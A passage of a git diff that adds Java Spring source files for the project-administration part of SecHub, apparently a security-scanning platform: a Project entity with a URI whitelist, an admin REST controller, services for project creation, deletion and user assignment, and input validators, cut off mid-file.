mode 100644 index 0000000000..9962a098db --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/job/JobStatus.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.job; + +public enum JobStatus { + CREATED, + + RUNNING, + + DONE +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidator.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidator.java new file mode 100644 index 0000000000..65c78397d2 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/CreateProjectInputValidator.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.Validator; + +@Component +public class CreateProjectInputValidator implements Validator{ + + @Autowired + ProjectJsonInputValidation validation; + + public CreateProjectInputValidator() { + } + + @Override + public boolean supports(Class clazz) { + return validation.supports(clazz); + } + + @Override + public void validate(Object target, Errors errors) { + validation.checkApiVersion(errors, validation.asInput(target)); + validation.checkProjectId(errors, validation.asInput(target)); + validation.checkOwnerUserId(errors, validation.asInput(target)); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java new file mode 100644 index 0000000000..833886de59 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/Project.java @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.HashSet; +import java.util.Set; + +import javax.persistence.CascadeType; +import javax.persistence.CollectionTable; +import javax.persistence.Column; +import javax.persistence.ElementCollection; +import javax.persistence.Entity; +import javax.persistence.FetchType; +import javax.persistence.Id; +import javax.persistence.JoinColumn; +import javax.persistence.JoinTable; +import javax.persistence.ManyToMany; +import javax.persistence.ManyToOne; +import javax.persistence.Table; +import javax.persistence.Version; + +import com.daimler.sechub.domain.administration.user.User; + +@Entity +@Table(name = Project.TABLE_NAME) +public class Project { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "ADM_PROJECT"; + public static final String TABLE_NAME_PROJECT_TO_USER = "ADM_PROJECT_TO_USER"; + public static final String TABLE_NAME_PROJECT_WHITELIST_URI = "ADM_PROJECT_WHITELIST_URI"; + + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + public static final String COLUMN_PROJECT_OWNER = "PROJECT_OWNER"; + public static final String COLUMN_PROJECT_DESCRIPTION = "PROJECT_DESCRIPTION"; + public static final String COLUMN_WHITELIST_URIS = "PROJECT_WHITELIST_URIS"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = Project.class.getSimpleName(); + + public static final String PROPERTY_USERS = "users"; + public static final String PROPERTY_OWNER = "owner"; + + @Id + @Column(name = COLUMN_PROJECT_ID) + String id; + + @Column(name = COLUMN_PROJECT_DESCRIPTION) + String description; + + // no merge cascade or persist, because owner and user in set + // otherwise leading to "java.lang.IllegalStateException: Multiple representations of the same entity ... are being merged" + @ManyToMany(cascade = {CascadeType.REMOVE,CascadeType.REFRESH}, fetch = FetchType.EAGER) + @JoinTable(name = TABLE_NAME_PROJECT_TO_USER) + Set users = new HashSet<>(); + + // we do not CascadeType.Persist or ALL because otherwise user will be persisted again and leads to unique constraint violation + @ManyToOne(cascade = {CascadeType.REMOVE,CascadeType.REFRESH}, fetch = FetchType.EAGER) + @JoinColumn(name = COLUMN_PROJECT_OWNER, nullable = false) + User owner; + + @Column(name = COLUMN_WHITELIST_URIS, nullable = false) + @ElementCollection(targetClass = URI.class, fetch = FetchType.EAGER) + @CollectionTable(name = TABLE_NAME_PROJECT_WHITELIST_URI) + Set whiteList = new HashSet<>(); + + @Version + @Column(name = "VERSION") + Integer version; + + public Set getWhiteList() { + return whiteList; + } + + public Set getUsers() { + return users; + } + + public User getOwner() { + return owner; + } + + public String getId() { + return id; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((id == null) ? 0 : id.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + Project other = (Project) obj; + if (id == null) { + if (other.id != null) { + return false; + } + } else if (!id.equals(other.id)) { + return false; + } + return true; + } + +} \ No newline at end of file diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java new file mode 100644 index 0000000000..9f24d5b7da --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java @@ -0,0 +1,138 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; + +import javax.annotation.security.RolesAllowed; +import javax.validation.Valid; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput.ProjectWhiteList; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorCreatesProject; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorDeleteProject; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorListsAllProjects; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorShowsProjectDetails; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; + +/** + * The rest api for user administration done by a super admin. + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectAdministrationRestController { + + @Autowired + ProjectCreationService creationService; + + @Autowired + ProjectAssignUserService assignUserToProjectService; + + @Autowired + ProjectUnassignUserService unassignUserToProjectService; + + @Autowired + ProjectDeleteService deleteService; + + @Autowired + ProjectDetailInformationService detailsService; + + @Autowired + ProjectRepository repository; + + @Autowired + private CreateProjectInputValidator validator; + + /* @formatter:off */ + @UseCaseAdministratorCreatesProject( + @Step( + number=1, + name="Rest call", + needsRestDoc=true, + description="Administrator creates a new project by calling rest api")) + @RequestMapping(path = AdministrationAPIConstants.API_CREATE_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.CREATED) + public void createProject(@RequestBody @Valid ProjectJsonInput input) { + Set whiteListedURIs = new LinkedHashSet<>(); + Optional whitelistOption = input.getWhiteList(); + + if (whitelistOption.isPresent()) { + ProjectWhiteList whiteList = whitelistOption.get(); + whiteListedURIs.addAll(whiteList.getUris()); + } + + /* @formatter:on */ + creationService.createProject(input.getName(), input.getDescription(), input.getOwner(), whiteListedURIs); + } + + /* @formatter:off */ + @UseCaseAdministratorShowsProjectDetails(@Step(number=1,name="Rest call",description="Json returned containing details about project",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_PROJECT_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public ProjectDetailInformation showProjectDetails(@PathVariable(name="projectId") String userId) { + /* @formatter:on */ + return detailsService.fetchDetails(userId); + } + + /* @formatter:off */ + @UseCaseAdministratorListsAllProjects(@Step(number=1,name="Rest call",description="All project ids of sechub are returned as json", needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_PROJECTS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public List listProjects() { + /* @formatter:on */ + return repository.findAll().stream().map(Project::getId).collect(Collectors.toList()); + } + + /* @formatter:off */ + @UseCaseAdministratorAssignsUserToProject(@Step(number=1,name="Rest call",description="Administrator does call rest API to assign user",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_ASSIGN_USER_TO_PROJECT, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.CREATED) + public void assignUserToProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + /* @formatter:on */ + assignUserToProjectService.assignUserToProject(userId, projectId); + } + + /* @formatter:off */ + @UseCaseAdministratorUnassignsUserFromProject(@Step(number=1,name="Rest call",description="Administrator does call rest API to unassign user",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_UNASSIGN_USER_TO_PROJECT, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.OK) + public void unassignUserFromProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + /* @formatter:on */ + unassignUserToProjectService.unassignUserFromProject(userId, projectId); + } + + /* @formatter:off */ + @UseCaseAdministratorDeleteProject(@Step(number=1,name="Rest call",description="Project will be deleted",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_PROJECT, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void deleteProject(@PathVariable(name="projectId") String projectId) { + /* @formatter:on */ + deleteService.deletProject(projectId); + } + + @InitBinder + protected void initBinder(WebDataBinder binder) { + binder.setValidator(validator); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java new file mode 100644 index 0000000000..2ebfbfad11 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.util.Arrays; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.domain.administration.user.UserRepository; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.AlreadyExistsException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectAssignUserService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectAssignUserService.class); + + @Autowired + DomainMessageService eventBus; + + @Autowired + ProjectRepository projectRepository; + + @Autowired + UserRepository userRepository; + + /* @formatter:off */ + @UseCaseAdministratorAssignsUserToProject( + @Step( + number = 2, + name = "Assign user", + description = "The service will add the user to the project. If user does not have ROLE_USER it will obtain it")) + /* @formatter:on */ + public void assignUserToProject(String userId, String projectId) { + Project project = projectRepository.findOrFailProject(projectId); + User user = userRepository.findOrFailUser(userId); + if (!project.getUsers().add(user)) { + throw new AlreadyExistsException("User already assigned to this project!"); + } + user.getProjects().add(project); + project.getUsers().add(user); + + projectRepository.save(project); + + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + sendUserAddedToProjectEvent(projectId, user); + sendRequestUserRoleRecalculation(user); + + + } + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void sendRequestUserRoleRecalculation(User user) { + eventBus.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(user.getName())); + } + + @IsSendingAsyncMessage(MessageID.USER_ADDED_TO_PROJECT) + private void sendUserAddedToProjectEvent(String projectId, User user) { + DomainMessage request = new DomainMessage(MessageID.USER_ADDED_TO_PROJECT); + UserMessage projectToUserData = new UserMessage(); + projectToUserData.setUserId(user.getName()); + projectToUserData.setProjectIds(Arrays.asList(projectId)); + + request.set(MessageDataKeys.PROJECT_TO_USER_DATA, projectToUserData); + eventBus.sendAsynchron(request); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectCreationService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectCreationService.java new file mode 100644 index 0000000000..a653f5c3ef --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectCreationService.java @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.Optional; +import java.util.Set; + +import javax.annotation.security.RolesAllowed; +import javax.validation.constraints.NotNull; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.domain.administration.user.UserRepository; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.AlreadyExistsException; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.ProjectMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorCreatesProject; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectCreationService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectCreationService.class); + + @Autowired + UserContextService userContext; + + @Autowired + ProjectRepository projectRepository; + + @Autowired + DomainMessageService eventBus; + + + @Autowired + UserRepository userRepository; + + + @Validated + /* @formatter:off */ + @UseCaseAdministratorCreatesProject( + @Step(number = 2, + name = "Create project", + description = "The service will create the project when not already existing with such name.")) + /* @formatter:on */ + public void createProject(@NotNull String projectId, @NotNull String description, @NotNull String owner, @NotNull Set whitelist) { + LOG.info("Administrator {} triggers create of project:{}, having owner:{}",userContext.getUserId(),projectId,owner); + /* assert found */ + Optional foundProject = projectRepository.findById(projectId); + if (foundProject.isPresent()) { + throw new AlreadyExistsException("Project '" + projectId + "' already exists"); + } + + Optional foundOwner = userRepository.findById(owner); + if (!foundOwner.isPresent()) { + throw new NotFoundException("Owner '" + owner + "' not found"); + } + /* setup */ + Project project = new Project(); + project.id = projectId; + project.description = description; + User ownerUser = foundOwner.get(); + project.owner=ownerUser; + project.getWhiteList().addAll(whitelist); + + /* store */ + projectRepository.save(project); + + LOG.debug("Persisted new project:{}", project.getId()); + + sendProjectCreatedEvent(projectId, whitelist); + sendRefreshUserAuth(ownerUser); + + } + + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void sendRefreshUserAuth(User ownerUser) { + eventBus.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(ownerUser.getName())); + } + + @IsSendingAsyncMessage(MessageID.PROJECT_CREATED) + private void sendProjectCreatedEvent(String projectId, Set whitelist) { + DomainMessage request = new DomainMessage(MessageID.PROJECT_CREATED); + ProjectMessage message = new ProjectMessage(); + message.setProjectId(projectId); + message.setWhitelist(whitelist); + request.set(MessageDataKeys.PROJECT_CREATION_DATA,message); + + eventBus.sendAsynchron(request); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java new file mode 100644 index 0000000000..63b7e4b88d --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDeleteService.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectDeleteService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectDeleteService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + ProjectRepository projectRepository; + + @Autowired + UserContextService userContext; + + @Validated + @UseCaseAdministratorDeletesUser(@Step(number = 2, name = "Service deletes projects.", next = { 3, + 4 }, description = "The service will delete the project with dependencies and triggers asynchronous events")) + public void deletProject(String projectId) { + LOG.info("Administrator {} triggers delete of project {}",userContext.getUserId(),projectId); + + Project project = projectRepository.findOrFailProject(projectId); + + /* FIXME Albert Tregnaghi, 2018-08-04: domain events missing! */ + projectRepository.delete(project); + + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformation.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformation.java new file mode 100644 index 0000000000..80f37d693c --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformation.java @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.domain.administration.user.User; + +public class ProjectDetailInformation { + + public static final String PROPERTY_USERS = "users"; + public static final String PROPERTY_PROJECT_ID = "projectId"; + public static final String PROPERTY_WHITELIST= "whiteList"; + public static final String PROPERTY_OWNER = "owner"; + + private String projectId; + + private List users = new ArrayList<>(); + private List whitelist = new ArrayList<>(); + private String owner; + + public ProjectDetailInformation(Project project) { + this.projectId=project.getId(); + + for (User user: project.getUsers()) { + this.users.add(user.getName()); + } + + for (URI uri : project.getWhiteList()) { + this.whitelist.add(uri.toASCIIString()); + } + this.owner= project.getOwner().getName(); + } + + public String getOwner() { + return owner; + } + + public List getWhiteList() { + return whitelist; + } + + public List getUsers() { + return users; + } + + public String getProjectId() { + return projectId; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java new file mode 100644 index 0000000000..545292b1b1 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorShowsProjectDetails; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectDetailInformationService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectDetailInformationService.class); + + @Autowired + ProjectRepository projectRepository; + + /* @formatter:off */ + @Validated + @UseCaseAdministratorShowsProjectDetails( + @Step( + number = 2, + name = "Service fetches project details.", + description = "The service will fetch project details")) + /* @formatter:on */ + public ProjectDetailInformation fetchDetails(String projectId) { + LOG.debug("fetching project details for project:{}",projectId); + Project project = projectRepository.findOrFailProject(projectId); + + return new ProjectDetailInformation(project); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInput.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInput.java new file mode 100644 index 0000000000..006ea53486 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInput.java @@ -0,0 +1,98 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; + +/** + * Input class for all kind of project data unknown values will be ignored. + * Validators will handle different situations autark. So this class can be used + * for multiple issues + * + * @author Albert Tregnaghi + * + */ +@JsonIgnoreProperties(ignoreUnknown = true) // we do ignore to avoid problems from wrong configured values! +@MustBeKeptStable("This class is used for creating projects etc. It is the value object for rest calls") +public class ProjectJsonInput implements JSONable { + + public static final String PROPERTY_API_VERSION = "apiVersion"; + public static final String PROPERTY_NAME = "name"; + public static final String PROPERTY_DESCRIPTION = "description"; + public static final String PROPERTY_WHITELIST = "whiteList"; + public static final String PROPERTY_OWNER = "owner"; + /** + * Just an reusable instance for JSON from calls - so we do not need to create + * always an empty object + */ + public static final ProjectJsonInput OBJECT = new ProjectJsonInput(); + + private String apiVersion; + private String name; + private String description; + private String owner; + + private Optional whiteList = Optional.empty(); + + @Override + public Class getJSONTargetClass() { + return ProjectJsonInput.class; + } + + public void setOwner(String owner) { + this.owner = owner; + } + + public String getOwner() { + return owner; + } + + public Optional getWhiteList() { + return whiteList; + } + + public void setWhiteList(Optional whiteList) { + this.whiteList = whiteList; + } + + public String getApiVersion() { + return apiVersion; + } + + public void setApiVersion(String apiVersion) { + this.apiVersion = apiVersion; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public static class ProjectWhiteList { + + public static final String PROPERTY_URIS = "uris"; + private List uris = new ArrayList<>(); + + public List getUris() { + return uris; + } + + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidation.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidation.java new file mode 100644 index 0000000000..904e3375df --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectJsonInputValidation.java @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.ValidationUtils; + +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidation; +import com.daimler.sechub.sharedkernel.validation.ProjectIdValidation; +import com.daimler.sechub.sharedkernel.validation.UserIdValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +@Component +public class ProjectJsonInputValidation { + + @Autowired + ApiVersionValidation apiValidation; + + @Autowired + ProjectIdValidation projectIdValidation;; + + @Autowired + UserIdValidation userIdValidation; + + public boolean supports(Class clazz) { + return ProjectJsonInput.class.isAssignableFrom(clazz); + } + + public ProjectJsonInput asInput(Object target) { + return (ProjectJsonInput) target; + } + + public void checkProjectId(Errors errors, ProjectJsonInput input) { + ValidationResult projectIdValidationResult = projectIdValidation.validate(input.getName()); + if (!projectIdValidationResult.isValid()) { + errors.rejectValue(ProjectJsonInput.PROPERTY_NAME, "api.error.projectid.invalid", + projectIdValidationResult.getErrorDescription()); + + } + } + + public void checkApiVersion(Errors errors, ProjectJsonInput input) { + ValidationUtils.rejectIfEmptyOrWhitespace(errors, ProjectJsonInput.PROPERTY_API_VERSION, "field.required"); + + String apiVersion = input.getApiVersion(); + if (apiVersion == null) { + return; /* handled before */ + } + ValidationResult apiValidationResult = apiValidation.validate(apiVersion); + if (!apiValidationResult.isValid()) { + errors.rejectValue(ProjectJsonInput.PROPERTY_API_VERSION, "api.error.unsupported.version", + apiValidationResult.getErrorDescription()); + } + } + + public void checkOwnerUserId(Errors errors, ProjectJsonInput input) { + ValidationResult userIdValidationResult = userIdValidation.validate(input.getOwner()); + if (!userIdValidationResult.isValid()) { + errors.rejectValue(ProjectJsonInput.PROPERTY_OWNER, "api.error.userid.invalid", + userIdValidationResult.getErrorDescription()); + + } + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectRepository.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectRepository.java new file mode 100644 index 0000000000..dccbb3c49f --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectRepository.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.util.Optional; + +import org.springframework.data.jpa.repository.JpaRepository; + +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +public interface ProjectRepository extends JpaRepository{ + + public default Project findOrFailProject(String projectId) { + Optional found = findById(projectId); + if (! found.isPresent()) { + throw new NotFoundException("Project '" + projectId + "' not found!"); + } + return found.get(); + } +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java new file mode 100644 index 0000000000..bd896379d6 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.project; + +import java.util.Arrays; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.domain.administration.user.UserRepository; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.AlreadyExistsException; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; + + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class ProjectUnassignUserService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectUnassignUserService.class); + + @Autowired + DomainMessageService eventBus; + + @Autowired + ProjectRepository projectRepository; + + @Autowired + UserRepository userRepository; + + /* @formatter:off */ + @UseCaseAdministratorUnassignsUserFromProject(@Step(number = 2, name = "Unassign user", description = "The service will remove the user to the project. If users has no longer access to projects ROLE_USER will be removed")) + /* @formatter:on */ + public void unassignUserFromProject(String userId, String projectId) { + Project project = projectRepository.findOrFailProject(projectId); + User user = userRepository.findOrFailUser(userId); + if (!project.getUsers().remove(user)) { + throw new AlreadyExistsException("User already not assigned to this project!"); + } + user.getProjects().remove(project); + + projectRepository.save(project); + userRepository.save(user); + + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + sendUserRemovedFromProjectEvent(projectId, user); + sendRequestUserRoleRecalculation(user); + } + + @IsSendingAsyncMessage(MessageID.REQUEST_USER_ROLE_RECALCULATION) + private void sendRequestUserRoleRecalculation(User user) { + eventBus.sendAsynchron(DomainMessageFactory.createRequestRoleCalculation(user.getName())); + } + + @IsSendingAsyncMessage(MessageID.USER_REMOVED_FROM_PROJECT) + private void sendUserRemovedFromProjectEvent(String projectId, User user) { + DomainMessage request = new DomainMessage(MessageID.USER_REMOVED_FROM_PROJECT); + UserMessage projectToUserData = new UserMessage(); + 